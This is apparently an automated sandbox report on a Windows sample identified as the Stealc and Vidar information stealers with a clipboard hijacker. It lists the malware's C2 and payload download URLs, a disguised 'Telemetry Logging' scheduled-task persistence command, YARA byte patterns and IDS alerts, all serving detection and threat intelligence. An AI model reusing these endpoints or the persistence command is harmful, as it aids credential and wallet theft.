Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1509670
MD5:	3b4a86e195cf96b1d60b303eba6def01
SHA1:	035e7ead7f18b41e0718c8e61f795b9230b2fd3c
SHA256:	abfde88021abe4b85e7e1fec20b8a28e81fdac7512591c2dbdb590b54297f350
Tags:	exe
Infos:

Detection

Clipboard Hijacker, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Clipboard Hijacker

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Searches for specific processes (likely to inject)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7660 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3B4A86E195CF96B1D60B303EBA6DEF01)

conhost.exe (PID: 7668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 7728 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 7864 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\JKJDAEBFCB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JKJDAEBFCB.exe (PID: 7916 cmdline: "C:\ProgramData\JKJDAEBFCB.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 8004 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oobeldr.exe (PID: 8052 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 8096 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://45.152.113.10/92335b4816f77e90.php"}

Threatname: Vidar

{"C2 url": "http://45.152.113.10/92335b4816f77e90.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Process Memory Space: file.exe PID: 7660	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7728	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7728	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 7728	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7728	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.JKJDAEBFCB.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
5.2.JKJDAEBFCB.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
5.2.JKJDAEBFCB.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
9.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
9.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
9.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe, ParentProcessId: 8052, ParentProcessName: oobeldr.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 8096, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\ProgramData\JKJDAEBFCB.exe" , ParentImage: C:\ProgramData\JKJDAEBFCB.exe, ParentProcessId: 7916, ParentProcessName: JKJDAEBFCB.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 8004, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:12.604112+0200	2019714	2	Potentially Bad Traffic	192.168.2.4	49734	198.54.120.231	443	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:02.012613+0200	2044245	1	Malware Command and Control Activity Detected	45.152.113.10	80	192.168.2.4	49733	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:01.999501+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49733	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:02.142321+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49733	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:10.634097+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49733	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:02.526421+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49733	45.152.113.10	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:02.154089+0200	2044247	1	Malware Command and Control Activity Detected	45.152.113.10	80	192.168.2.4	49733	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:01.856225+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49733	45.152.113.10	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T22:52:02.900393+0200	2803304	3	Unknown Traffic	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:05.304572+0200	2803304	3	Unknown Traffic	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:06.025144+0200	2803304	3	Unknown Traffic	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:06.723846+0200	2803304	3	Unknown Traffic	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:07.164817+0200	2803304	3	Unknown Traffic	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:08.739503+0200	2803304	3	Unknown Traffic	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:09.442036+0200	2803304	3	Unknown Traffic	192.168.2.4	49733	45.152.113.10	80	TCP
2024-09-11T22:52:12.604112+0200	2803304	3	Unknown Traffic	192.168.2.4	49734	198.54.120.231	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://45.152.113.10/15a25e53742510fe/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/freebl3.dll5	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpL	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/freebl3.dll?	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpI	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.php7N	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phplets	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phppi	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpw	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpppresolver.dlli	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.php	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/92335b4816f77e90.phpu	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://45.152.113.10/15a25e53742510fe/nss3.dll	Avira URL Cloud: Label: malware
Source: https://evokeedgellc.com/app/l2.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\JKJDAEBFCB.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Found malware configuration

Source: 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://45.152.113.10/92335b4816f77e90.php"}
Source: 2.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://45.152.113.10/92335b4816f77e90.php", "Botnet": "default"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\JKJDAEBFCB.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	2_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C946C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6C946C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	2_2_6CA9A9A0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 198.54.120.231:443 -> 192.168.2.4:49734 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: .pdb8% source: file.exe
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49733 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49733 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.152.113.10:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49733 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.152.113.10:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49733 -> 45.152.113.10:80
